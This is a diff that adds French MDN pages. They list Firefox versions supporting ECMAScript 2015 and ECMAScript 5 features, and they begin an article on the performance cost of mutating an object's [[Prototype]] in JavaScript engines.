+<p>La liste de diffusion <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a> permet de discuter des standards ECMAScript.</p>
+
+<h2 id="Bibliothèque_standard">Bibliothèque standard</h2>
+
+<h3 id="Ajouts_à_l'objet_Array">Ajouts à l'objet <code>Array</code></h3>
+
+<ul>
+ <li>{{jsxref("Array")}} : itération grâce à {{jsxref("Instructions/for...of","for...of")}} (<a href="/fr/Firefox/Releases/13">Firefox 13</a>)</li>
+ <li>{{jsxref("Array.from()")}} (<a href="/fr/Firefox/Versions/32">Firefox 32</a>)</li>
+ <li>{{jsxref("Array.of()")}} (<a href="/fr/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Array.prototype.fill()")}} (<a href="/fr/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Array.prototype.find()")}}, {{jsxref("Array.prototype.findIndex()")}} (<a href="/fr/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Array.prototype.entries()")}}, {{jsxref("Array.prototype.keys()")}} (<a href="/fr/Firefox/Releases/28">Firefox 28</a>), {{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.copyWithin()")}} (<a href="/fr/Firefox/Releases/32">Firefox 32</a>)</li>
+ <li>{{jsxref("Array.@@species", "get Array[@@species]")}} (<a href="/fr/Firefox/Releases/48">Firefox 48</a>)</li>
+</ul>
+
+<h3 id="Les_objets_Map_et_Set_et_leurs_équivalents_avec_références_faibles">Les objets <code>Map</code> et <code>Set</code> et leurs équivalents avec références faibles</h3>
+
+<ul>
+ <li>{{jsxref("Map")}} (<a href="/fr/Firefox/Releases/13">Firefox 13</a>)
+
+  <ul>
+   <li>{{jsxref("Map")}} : itération grâce à {{jsxref("Instructions/for...of","for...of")}} (<a href="/fr/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li>{{jsxref("Map.prototype.forEach()")}} (<a href="/fr/Firefox/Releases/25">Firefox 25</a>)</li>
+   <li>{{jsxref("Map.prototype.entries()")}} (<a href="/fr/Firefox/Releases/20">Firefox 20</a>)</li>
+   <li>{{jsxref("Map.prototype.keys()")}} (<a href="/fr/Firefox/Releases/20">Firefox 20</a>)</li>
+   <li>{{jsxref("Map.prototype.values()")}}</li>
+   <li>Argument pour le constructeur : <code>new {{jsxref("Map")}}(null)</code> (<a href="/fr/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>Méthode <code>set()</code> corrigée (<em>monkey-patched</em>) avec le constructeur (<a href="/fr/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>{{jsxref("Map.@@species", "get Map[@@species]")}} (<a href="/fr/Firefox/Releases/41">Firefox 41</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Set")}} (<a href="/fr/Firefox/Releases/13">Firefox 13</a>)
+  <ul>
+   <li>{{jsxref("Set")}} : itération grâce à {{jsxref("Instructions/for...of","for...of")}} (<a href="/fr/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li>{{jsxref("Set.prototype.forEach()")}} (<a href="/fr/Firefox/Releases/25">Firefox 25</a>)</li>
+   <li>{{jsxref("Set.prototype.entries()")}},<br>
+    {{jsxref("Set.prototype.keys()")}},<br>
+    {{jsxref("Set.prototype.values()")}} (<a href="/fr/Firefox/Releases/24">Firefox 24</a>)</li>
+   <li>Argument pour le constructeur : <code>new {{jsxref("Set")}}(null)</code> (<a href="/fr/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>Méthode <code>add()</code> corrigée (<em>monkey-patched</em>) avec le constructeur (<a href="/fr/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>{{jsxref("Set.@@species", "get Set[@@species]")}} (<a href="/fr/Firefox/Releases/41">Firefox 41</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("WeakMap")}} (<a href="/fr/Firefox/Releases/6">Firefox 6</a>)
+  <ul>
+   <li>{{jsxref("WeakMap.clear()")}} (<a href="/fr/Firefox/Releases/20">Firefox 20</a>)</li>
+   <li>Argument itérable optionnel pour le constructeur {{jsxref("WeakMap")}} (<a href="/fr/Firefox/Releases/36">Firefox 36</a>)</li>
+   <li>Argumement pour le constructeur : <code>new {{jsxref("WeakMap")}}(null)</code> (<a href="/fr//Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>Méthode <code>set()</code> corrigée (<em>monkey-patched</em>) avec le constructor (<a href="/fr/Firefox/Releases/37">Firefox 37</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("WeakSet")}} (<a href="/fr/Firefox/Releases/34">Firefox 34</a>)
+  <ul>
+   <li>Constructor argument: <code>new {{jsxref("WeakSet")}}(null)</code> (<a href="/fr/Firefox/Releases/37">Firefox 37</a>)</li>
+   <li>Monkey-patched <code>add()</code> in Constructor (<a href="/fr/Firefox/Releases/37">Firefox 37</a>)</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Nouvelles_fonctions_pour_l'objet_Math">Nouvelles fonctions pour l'objet <code>Math</code></h3>
+
+<ul>
+ <li>{{jsxref("Math.imul()")}} (<a href="/fr/Firefox/Releases/20">Firefox 20</a>)</li>
+ <li>{{jsxref("Math.clz32()")}} (<a href="/fr/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Math.fround()")}} (<a href="/fr/Firefox/Releases/26">Firefox 26</a>)</li>
+ <li>{{jsxref("Math.log10()")}}, {{jsxref("Math.log2()")}}, {{jsxref("Math.log1p()")}}, {{jsxref("Math.expm1()")}}, {{jsxref("Math.cosh()")}}, {{jsxref("Math.sinh()")}}, {{jsxref("Math.tanh()")}}, {{jsxref("Math.acosh()")}}, {{jsxref("Math.asinh()")}}, {{jsxref("Math.atanh()")}}, {{jsxref("Math.hypot()")}}, {{jsxref("Math.trunc()")}}, {{jsxref("Math.sign()")}}, {{jsxref("Math.cbrt()")}} (<a href="/fr/Firefox/Releases/25">Firefox 25</a>)</li>
+</ul>
+
+<h3 id="Ajouts_à_l'objet_Number">Ajouts à l'objet <code>Number</code></h3>
+
+<ul>
+ <li>{{jsxref("Number.isNaN()")}} (<a href="/fr/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.isFinite()")}} (<a href="/fr/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.isInteger()")}} (<a href="/fr/Firefox/Releases/16">Firefox 16</a>)</li>
+ <li>{{jsxref("Number.parseInt()")}} (<a href="/fr/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.parseFloat()")}} (<a href="/fr/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.EPSILON")}} (<a href="/fr/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}, {{jsxref("Number.MIN_SAFE_INTEGER")}} (<a href="/fr/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Number.isSafeInteger()")}} (<a href="/fr/Firefox/Releases/32">Firefox 32</a>)</li>
+</ul>
+
+<h3 id="Ajouts_à_l'objet_Object">Ajouts à l'objet <code>Object</code></h3>
+
+<ul>
+ <li>{{jsxref("Object.prototype.__proto__")}} a été standardisé</li>
+ <li>{{jsxref("Object.is()")}} (<a href="/fr/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}} (<a href="/fr/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("Object.assign()")}} (<a href="/fr/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li>{{jsxref("Object.getOwnPropertySymbols()")}} (<a href="/fr/Firefox/Releases/33">Firefox 33</a>)</li>
+</ul>
+
+<h3 id="Ajouts_à_l'objet_Date">Ajouts à l'objet <code>Date</code></h3>
+
+<ul>
+ <li>{{jsxref("Date.prototype")}} est un objet ordinaire (<a href="/fr/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>{{jsxref("Date.prototype.toString")}} est générique (<a href="/fr/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>{{jsxref("Date.prototype.@@toPrimitive", "Date.prototype[@@toPrimitive]")}} (<a href="/fr/Firefox/Releases/44">Firefox 44</a>)</li>
+</ul>
+
+<h3 id="Nouvel_objet_Promise">Nouvel objet <code>Promise</code></h3>
+
+<ul>
+ <li>{{jsxref("Promise")}} (<a href="/fr/Firefox/Releases/24">Firefox 24</a>, activé par défaut dans <a href="/fr/Firefox/Releases/29">Firefox 29</a>)</li>
+</ul>
+
+<h3 id="Nouvel_objet_Proxy">Nouvel objet <code>Proxy</code></h3>
+
+<ul>
+ <li>{{jsxref("Proxy")}} (<a href="/fr/Firefox/Releases/18">Firefox 18</a>)</li>
+ <li>La trappe {{jsxref("Objets_globaux/Proxy/handler/preventExtensions", "preventExtensions()")}} (<a href="/fr/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>La trappe {{jsxref("Objets_globaux/Proxy/handler/isExtensible", "isExtensible()")}} (<a href="/fr/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>Les trappes {{jsxref("Objets_globaux/Proxy/handler/getPrototypeOf", "getPrototypeOf()")}} et {{jsxref("Objets_globaux/Proxy/handler/setPrototypeOf", "setPrototypeOf()")}} (<a href="/fr/Firefox/Releases/49">Firefox 49</a>)</li>
+</ul>
+
+<h3 id="Nouvel_objet_Reflect">Nouvel objet <code>Reflect</code></h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}} (<a href="/fr/Firefox/Releases/42">Firefox 42</a>)</li>
+</ul>
+
+<h3 id="Ajouts_à_l'objet_RegExp">Ajouts à l'objet <code>RegExp</code></h3>
+
+<ul>
+ <li>{{jsxref("RegExp")}} marqueur (<em>flag</em>) pour l'adhérence (y) (<a href="/fr/Firefox/Releases/38">Firefox 38</a>)</li>
+ <li>{{jsxref("RegExp")}} marqueur (<em>flag</em>) unicode (u) (<a href="/fr/Firefox/Releases/3">Firefox 46</a>)</li>
+ <li>Méthode générique {{jsxref("RegExp.prototype.toString()")}} (<a href="/fr/Firefox/Releases/39">Firefox 39</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}} (<a href="/fr/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}} (<a href="/fr/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}} (<a href="/fr/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}} (<a href="/fr/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("RegExp.@@species", "get RegExp[@@species]")}} (<a href="/fr/Firefox/Releases/49">Firefox 49</a>)</li>
+</ul>
+
+<h3 id="Ajouts_à_l'objet_String">Ajouts à l'objet <code>String</code></h3>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}} (<a href="/fr/Firefox/Releases/29">Firefox 29</a>)</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}} (<a href="/fr/Firefox/Releases/29">Firefox 29</a>)</li>
+ <li>{{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} (<a href="/fr/Firefox/Releases/17">Firefox 17</a>)</li>
+ <li>{{jsxref("String.prototype.includes()")}} (<a href="/fr/Firefox/Releases/40">Firefox 40</a>) (anciennement String.prototype.contains() (<a href="/fr/Firefox/Releases/17">Firefox 17</a>))</li>
+ <li>{{jsxref("String.prototype.repeat()")}} (<a href="/fr/Firefox/Releases/24">Firefox 24</a>)</li>
+ <li>{{jsxref("String.prototype.normalize()")}} (<a href="/fr/Firefox/Releases/31">Firefox 31</a>)</li>
+ <li>{{jsxref("String.raw()")}} (<a href="/fr/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Littéraux_de_chaînes_de_caractères">\u{XXXXXX}</a> séquences d'échappement étendues pour Unicode (<a href="/fr/Firefox/Releases/40">Firefox 40</a>)</li>
+</ul>
+
+<h3 id="Nouvel_objet_Symbol">Nouvel objet <code>Symbol</code></h3>
+
+<ul>
+ <li>{{jsxref("Symbol")}} (<a href="/fr/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.iterator")}} (<a href="/fr/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.for()")}} - registre global des différents symboles (<a href="/fr/Firefox/Releases/36">Firefox 36</a>)</li>
+ <li>{{jsxref("Symbol.match")}} (<a href="/fr/Firefox/Releases/40">Firefox 40</a>)</li>
+ <li>{{jsxref("Symbol.species")}} (<a href="/fr/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li>{{jsxref("Symbol.toPrimitive")}} (<a href="/fr/Firefox/Releases/44">Firefox 44</a>)</li>
+ <li>{{jsxref("Symbol.prototype.@@toPrimitive", "Symbol.prototype[@@toPrimitive]")}} (<a href="/fr/Firefox/Releases/44">Firefox 44</a>)</li>
+ <li>{{jsxref("Symbol.replace")}} (<a href="/fr/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.search")}} (<a href="/fr/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.split")}} (<a href="/fr/Firefox/Releases/49">Firefox 49</a>)</li>
+ <li>{{jsxref("Symbol.hasInstance")}} (<a href="/fr/Firefox/Releases/50">Firefox 50</a>)</li>
+</ul>
+
+<h3 id="Tableaux_typés">Tableaux typés</h3>
+
+<p>Les tableaux typés sont désormais spécifiés par ECMAScript 2015, ils ne suivent donc plus <a href="https://www.khronos.org/registry/typedarray/specs/latest/">leur propre spécification</a>.</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}} (<a href="/fr/Firefox/Releases/48">Firefox 48</a>)</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("Int8Array")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+ <li>{{jsxref("Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Int16Array")}}</li>
+ <li>{{jsxref("Uint16Array")}}</li>
+ <li>{{jsxref("Int32Array")}}</li>
+ <li>{{jsxref("Uint32Array")}}</li>
+ <li>{{jsxref("Float32Array")}}</li>
+ <li>{{jsxref("Float64Array")}}</li>
+ <li>{{jsxref("TypedArray.@@species", "get %TypedArray%[@@species]")}} (<a href="/fr/Firefox/Releases/48">Firefox 48</a>)</li>
+</ul>
+
+<h2 id="Expressions_et_opérateurs">Expressions et opérateurs</h2>
+
+<ul>
+ <li>{{jsxref("Opérateurs/new.target","new.target")}} (<a href="/fr/Firefox/Releases/41">Firefox 41</a>)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateur_de_décomposition">Opérateur de décomposition pour les tableaux</a> (<a href="/fr/Firefox/Releases/16">Firefox 16</a>)
+  <ul>
+   <li>Utilisation de la propriété <code>Symbol.iterator</code> (<a href="/fr/Firefox/Releases/36">Firefox 36</a>)</li>
+  </ul>
+ </li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateur_de_décomposition">Opérateur de décomposition pour les appels de fonction </a>(<a href="/fr/Firefox/Releases/27">Firefox 27</a>)
+  <ul>
+   <li>Utilisation de la propriété <code>Symbol.iterator</code> (<a href="/fr/Firefox/Releases/36">Firefox 36</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Instructions/const", "const")}} (<a href="/fr/docs/Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.5">JS 1.5</a>, Firefox 1.0) (conformité avec ES2015 {{bug("950547")}}, implementé avec Firefox 51)</li>
+ <li>{{jsxref("Instructions/let", "let")}} (<a href="/fr/docs/Web/JavaScript/New_in_JavaScript/Nouveautés_dans_JavaScript_1.7">JS 1.7</a>, <a href="/fr/Firefox/Releases/2">Firefox 2</a>) (conformité avec ES2015 {{bug("950547")}}, implementé avec Firefox 51)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition">Affectation par décomposition</a> (<a href="/fr/docs/Web/JavaScript/New_in_JavaScript/Nouveautés_dans_JavaScript_1.7">JS 1.7</a>, <a href="/fr/Firefox/Releases/2">Firefox 2</a>) (conformité avec ES2015 {{bug("1055984")}})</li>
+</ul>
+
+<h2 id="Instructions">Instructions</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/for...of","for...of")}} (<a href="/fr/Firefox/Releases/13">Firefox 13</a>)
+
+  <ul>
+   <li>Fonctionne au sens de <code>.iterator()</code> et <code>.next()</code> (<a href="/fr/Firefox/Releases/17">Firefox 17</a>)</li>
+   <li>Utilise la propréité <code>"@@iterator"</code> (<a href="/fr/Firefox/Releases/27">Firefox 27</a>)</li>
+   <li>Utilise la propriété <code>Symbol.iterator</code> (<a href="/fr/Firefox/Releases/36">Firefox 36</a>)</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Fonctions">Fonctions</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste">Paramètres du reste</a> (<a href="/fr/Firefox/Releases/15">Firefox 15</a>)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments">Paramètres par défaut</a> (<a href="/fr/Firefox/Releases/15">Firefox 15</a>)
+  <ul>
+   <li>Paramètres sans valeur par défaut après des paramètres avec défaut (<a href="/fr/Firefox/Releases/26">Firefox 26</a>)</li>
+   <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_arguments#Param.C3.A8tre_par_d.C3.A9faut_et_d.C3.A9composition_des_param.C3.A8tres">Paramètre par défaut et décomposition</a> (<a href="/fr/Firefox/Releases/41">Firefox 41</a>)</li>
+  </ul>
+ </li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">Fonctions fléchées</a> (<a href="/fr/Firefox/Releases/22">Firefox 22</a>)</li>
+ <li>{{jsxref("Instructions/function*", "Générateurs (fonctions génératrices)","",1)}} (<a href="/fr/Firefox/Releases/26">Firefox 26</a>)
+  <ul>
+   <li>{{jsxref("Opérateurs/yield", "yield")}} (<a href="/fr/Firefox/Releases/26">Firefox 26</a>)</li>
+   <li>{{jsxref("Opérateurs/yield*", "yield*")}} (<a href="/fr/Firefox/Releases/27">Firefox 27</a>)</li>
+  </ul>
+ </li>
+ <li>{{jsxref("Fonctions/arguments/@@iterator", "arguments[@@iterator]")}} (<a href="/fr/Firefox/Releases/46">Firefox 46</a>)</li>
+</ul>
+
+<h2 id="Autres_fonctionnalités">Autres fonctionnalités</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Litt.C3.A9raux_num.C3.A9riques">Littéraux numériques binaires et octaux</a> (<a href="/fr/Firefox/Releases/25">Firefox 25</a>)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Gabarit_chaînes_caractères">Gabarits de chaîne de caractères</a> (<a href="/fr/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Operators/Object_initializer#Property_definitions">Littéral object : notation raccourcie pour les noms de propriétés</a> (<a href="/fr/Firefox/Releases/33">Firefox 33</a>)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names">Littéral objet : noms de propriétés calculés</a> (<a href="/fr/Firefox/Releases/34">Firefox 34</a>)</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Initialisateur_objet#D.C3.A9finitions_de_m.C3.A9thodes">Littéral objet : notation raccourcie pour les noms de méthodes</a> (<a href="/fr/Firefox/Releases/34">Firefox 34</a>)</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Nouveautés_et_historique_de_JavaScript/Support_ECMAScript_7_par_Mozilla">Prise en charge d'ECMAScript 2016 par Mozilla</a></li>
+ <li><a href="https://www.ecmascript.org/">Site web d'ECMAScript</a></li>
+ <li><a href="https://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">Les brouillons (<em>drafts</em>) de la spécification ECMAScript 2015</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=694100">Bug de suivi Mozilla pour ES2015</a></li>
+ <li><a href="https://kangax.github.io/compat-table/es6/" title="https://kangax.github.io/es5-compat-table">Support d'ECMAScript 2015 parmi les différents navigateurs</a></li>
+</ul>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/support_ecmascript_5_par_mozilla/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/support_ecmascript_5_par_mozilla/index.html
new file mode 100644
index 0000000000..03ba972133
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/support_ecmascript_5_par_mozilla/index.html
@@ -0,0 +1,46 @@
+---
+title: Support d'ECMAScript 5 par Mozilla
+slug: >-
+  Web/JavaScript/Nouveautés_et_historique_de_JavaScript/Support_ECMAScript_5_par_Mozilla
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>ECMAScript 5.1 est une version publiée du standard sur lequel est basé JavaScript. Cette version a été approuvée en juin 2011.</p>
+
+<p>L'environnement d'exécution JavaScript utilisé dans les dernières versions des projets Mozilla (Firefox et Thunderbird par exemple) supporte entièrement les fonctionnalités d'ECMAScript 5.1. Cet article traite des différentes fonctionnalités d'ECMAScript 5.1 et de leur support par les différentes versions de l'environnement JavaScript de Mozilla.</p>
+
+<h2 id="Fonctionnalités_supportées">Fonctionnalités supportées</h2>
+
+<h3 id="Ajoutées_dans_JavaScript_1.8.5_(Gecko_2_Firefox_4_et_ultérieures)">Ajoutées dans JavaScript 1.8.5 (Gecko 2, Firefox 4 et ultérieures)</h3>
+
+<p>Firefox 4 supporte entièrement ECMAScript 5, y compris les méthodes <code>Object.*</code> et le mode strict. Voir la page <a href="/fr/docs/Web/JavaScript/Nouveaut%C3%A9s_et_historique_de_JavaScript/1.8.5">Nouveautés de JavaScript 1.8.5</a> pour plus d'informations.</p>
+
+<h3 id="Ajoutées_dans_JavaScript_1.8.1_(Gecko_1.9.1_Firefox_3.5)">Ajoutées dans JavaScript 1.8.1 (Gecko 1.9.1, Firefox 3.5)</h3>
+
+<ul>
+ <li><span class="internal">Support du <a href="/fr/docs/Web/JavaScript/Objets_globaux/JSON">JSON natif</a></span></li>
+ <li>Méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getPrototypeOf"><span class="internal"><code>Object.getPrototypeOf()</code></span></a></li>
+ <li>Méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/Trim"><span class="internal"><code>String.trim()</code></span></a>, qui permet de retirer les blancs à chaque extrêmité d'une chaîne de caractères</li>
+ <li>Gecko 1.9.1.4 mit à jour l'implémentation de <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_le_JSON_natif#Convertir_les_objets_en_JSON"><code>JSON.stringify()</code></a> afin de respecter ECMAScript 5.</li>
+</ul>
+
+<p>Des  améliorations apportées par ECMAScript 5 ont permis de corriger l'algorithme d'analyse (<em>parsing</em>) pour ne plus évaluer du code XHTML comme du code JavaScript dans certains cas.</p>
+
+<h3 id="Ajoutées_dans_JavaScript_1.6_(Gecko_1.8_Firefox_1.5)">Ajoutées dans JavaScript 1.6 (Gecko 1.8, Firefox 1.5)</h3>
+
+<p>De nouvelles méthodes <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Array"><code>Array</code></a> ont été introduites pour faciliter la manipulation des tableaux. Ces méthodes faisaient partie de JavaScript depuis <a href="/fr/docs/Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.6">JavaScript 1.6</a>. Elles ont été standardisées avec ECMAScript 5.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.ecmascript.org/">Le site web d'ECMAScript</a></li>
+ <li><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">La spécification ECMAScript 5.1</a></li>
+ <li>Le billet de John Resig sur <code><a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">Object.getPrototypeOf()</a></code> (en anglais)</li>
+ <li>L'implémentation des <a class="external" href="http://frugalcoder.us/post/2010/01/07/EcmaScript-5s-Date-Extensions.aspx">Dates ECMAScript5 en JavaScript</a> effectuée par Michael J. Ryan (en anglais)</li>
+ <li><a href="http://kangax.github.io/es5-compat-table/">Le support d'ECMAScript 5 dans les différents navigateurs</a></li>
+</ul>
diff --git a/files/fr/web/javascript/performance_les_dangers_liés_à_la_modification_de_prototype/index.html b/files/fr/web/javascript/performance_les_dangers_liés_à_la_modification_de_prototype/index.html
new file mode 100644
index 0000000000..288241297c
--- /dev/null
+++ b/files/fr/web/javascript/performance_les_dangers_liés_à_la_modification_de_prototype/index.html
@@ -0,0 +1,139 @@
+---
+title: 'Performance : les dangers liés à la modification de [[Prototype]'
+slug: Web/JavaScript/Performance_les_dangers_liés_à_la_modification_de_Prototype
+tags:
+  - JavaScript
+  - Performance
+translation_of: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation'
+---
+<div>{{draft}}</div>
+
+<p>Chaque objet JavaScript possède un prototype (que nous désignerons par la suite par <code>[[Prototype]]</code>, la notation utilisée par la spécification et les implémentations). Lorsqu'on recherche des propriétés sur un objet, on consulte d'abord cet objet puis on analyse son prototype (on « remonte la chaîne ») et ensuite le prototype de ce dernier et ainsi de suite jusqu'à trouver la propriété en question ou jusqu'à ce que la chaîne soit terminée. Cette chaîne est particulièrement utile pour émuler <a href="/fr/docs/Web/JavaScript/Héritage_et_chaîne_de_prototypes">l'héritage entre objets</a>.</p>
+
+<p>ECMAScript 6 introduit certaines méthode pour <em>modifier</em> <code>[[Prototype]]</code>. Cette flexibilité a un coût : la dégradation significative des performances. <strong>Modifier</strong> <strong><code>[[Prototype]]</code> impacte négativement les performances pour <em>tous</em> les moteurs JavaScript modernes.</strong> Dans cet article, nous expliquerons pourquoi et nous verrons les alternatives à privilégier.</p>
+
+<h2 id="De_l'optimisation_des_accès_aux_propriétés_dans_les_moteurs_JavaScript">De l'optimisation des accès aux propriétés dans les moteurs JavaScript</h2>
+
+<p>Les objets sont <a href="https://fr.wikipedia.org/wiki/Table_de_hachage">des tables de hachage</a>, ainsi, en théorie (et en pratique) l'accès à une propriété se fait en temps constant. En revanche, ce « temps constant » peut se décomposer en milliers d'instructions machine. Heureusement, les objets et les propriétés sont souvent « prédictibles » et dans ces cas, la structure sous-jacente peut également être prédictible. Les compilateurs à la volée (ou <em>JIT</em> pour <em>Just In Time</em>) reposent sur ce constat pour rendre les accès plus rapides.</p>
+
+<p>L'optimisation des moteurs s'applique grâce à l'ordre selon lequel les propriétés sont ajoutées aux objets. La plupart des propriétés ajoutées aux objets sont ajoutés dans un ordre semblable (exception faite des accès effectués sous la forme <code>obj[val]</code> où <code>val</code> est une valeur dynamique non constante).</p>
+
+<pre>function Landmark(lat, lon, desc) {
+  this.location = { lat: lat, long: lon };
+  this.description = desc;
+}
+var lm1 = new Landmark(-90, 0, "South Pole");
+var lm2 = new Landmark(-24.3756466, -128.311018, "Pitcairn Islands");</pre>
+
+<p>Dans cet exemple, chaque <code>Landmark</code> possède les propriétés <code>location</code> et <code>description</code>, <strong>dans cet ordre.</strong> Chaque objet <code>location</code> représentant l'emplacement enregistrera la latitude puis la longitude, <strong>dans cet ordre</strong>. Le code qui suit <em>pourrait</em> supprimer une propriété mais comme c'est peu probable, les moteurs peuvent être amenés à produire du code non optimal pour ces cas de figure. Pour SpiderMonkey, le moteur JavaScript de Firefox, l'ordre spécifique des propriétés (et de certains de leurs aspects en dehors de leurs valeurs) est appelé une <em>forme</em> (le moteur V8, utilisé par Chrome, intitule ce concept <em>structure ID</em>). Si deux objets partagent la même forme, leurs propriétés seront stockées de façon identique.</p>
+
+<p>À l'intérieur des moteurs, on retrouve donc une version C++ semblable à celle-ci (simplifiée ici) :</p>
+
+<pre class="brush: cpp">struct Property {
+  Property* prev;     // null si c'est la première propriété
+  String name;        // le nom de la propriété
+  unsigned int index; // l'index de la valeur dans le stockage
+};
+using Shape = Property*;
+struct Object {
+  Shape shape;
+  Value* properties;
+  Object* prototype;
+};</pre>
+
+<p>Avec ces exemples, voici à quoi correspondraient diverses expressions JavaScript basées sur le code ci-dessus, une fois traduites en C++ :</p>
+
+<pre class="brush: cpp">lm1-&gt;properties[0]; // loc1.location
+lm1-&gt;properties[1]; // loc1.description
+lm2-&gt;properties[0].toObject()-&gt;properties[1]; // loc2.location.long</pre>
+
+<p>Si un moteur connaît la forme d'un objet, il pourra présupposer la position des index pour toutes les propriétés de l'objet. Ainsi, quand on souhaite accéder à une propriété donnée, il suffit de quelques accès indirects par pointeur. Le code machine peut facilement vérifier si un objet a une forme donnée. Si c'est le cas, on utilisera la version rapide et sinon on utilisera la méthode lente.</p>
+
+<h2 id="L'optimisation_naïve_des_propriétés_héritées">L'optimisation naïve des propriétés héritées</h2>
+
